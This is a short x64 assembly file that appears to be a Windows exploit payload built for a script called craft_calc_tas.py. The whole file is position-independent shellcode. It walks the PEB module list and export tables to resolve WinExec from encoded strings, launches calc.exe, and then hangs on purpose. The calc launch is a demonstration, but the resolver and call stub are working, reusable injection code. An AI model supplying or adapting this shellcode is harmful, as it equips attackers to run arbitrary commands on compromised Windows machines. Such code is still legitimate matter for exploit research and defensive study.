.intel_syntax noprefix
.section .text
.global _start

# Position-independent Windows x64 payload used by craft_calc_tas.py.
# It resolves WinExec by scanning PEB loader modules and deliberately does not
# return: the original bluescreen payload was terminal too, and this lets the
# resolver stay compact without violating the x64 nonvolatile-register ABI.
_start:
    xor ecx, ecx
    mov rax, qword ptr gs:[rcx + 0x60]
    mov rax, qword ptr [rax + 0x18]
    mov r10, qword ptr [rax + 0x20]

next_module:
    mov r10, qword ptr [r10]
    mov rbx, qword ptr [r10 + 0x20]

    mov edx, dword ptr [rbx + 0x3c]
    add rdx, rbx
    mov edx, dword ptr [rdx + 0x88]
    test edx, edx
    jz next_module
    add rdx, rbx
    mov ecx, dword ptr [rdx + 0x18]
    mov edi, dword ptr [rdx + 0x20]
    add rdi, rbx
    movabs r8, 0x00636578456e6957

find_name:
    jrcxz next_module
    dec ecx
    mov esi, dword ptr [rdi + rcx*4]
    add rsi, rbx
    cmp qword ptr [rsi], r8
    jne find_name

    mov edi, dword ptr [rdx + 0x24]
    add rdi, rbx
    movzx ecx, word ptr [rdi + rcx*2]
    mov edi, dword ptr [rdx + 0x1c]
    add rdi, rbx
    mov eax, dword ptr [rdi + rcx*4]
    add rax, rbx

    push 0
    movabs r9, 0x6578652e636c6163
    push r9
    mov rcx, rsp
    push 1
    pop rdx
    and rsp, -16
    sub rsp, 0x20
    call rax

hang:
    jmp hang